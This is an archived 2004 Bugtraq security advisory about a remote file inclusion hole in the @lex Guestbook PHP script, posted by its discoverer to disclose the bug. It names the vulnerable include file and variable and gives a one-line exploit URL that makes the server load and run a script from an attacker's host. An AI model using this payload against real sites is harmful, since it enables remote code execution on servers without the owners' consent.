bugtraq - @lex Guestbook (PHP) Include file

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: 26 Sep 2004 14:36:56 -0000
From: Himeur Nourredine <lostnoobs@...urity-challenge.com>
To: bugtraq@...urityfocus.com
Subject: @lex Guestbook (PHP) Include file




Informations : 
АААААААААААААА 
Website : http://www.alexphpteam.com
Version : all
Problem : Include file 



PHP Code/Location : 
ААААААААААААААААААА 
./include/livre_include.php

------------------------------------------------------------------ 
if (!$no_connect).... some include() functions
------------------------------------------------------------------ 

Exploit : 
ААААААААА 
http://[target]/include/livre_include.php?no_connect=lol&chem_absolu=http://[attacker]/file.ext%3f


Patch : 
ААААААА 
You must to fix the variable $chem_absolu.


Nourredine Himeur aka LostNoobs

"I'm looking for a job in France"
you can see my curriculum vitae 
on www.security-challenge.com/delires/

#s-c on irc.fr.worldnet.net
www.security-challenge.com
www.hacklink.net
www.opensavoir.com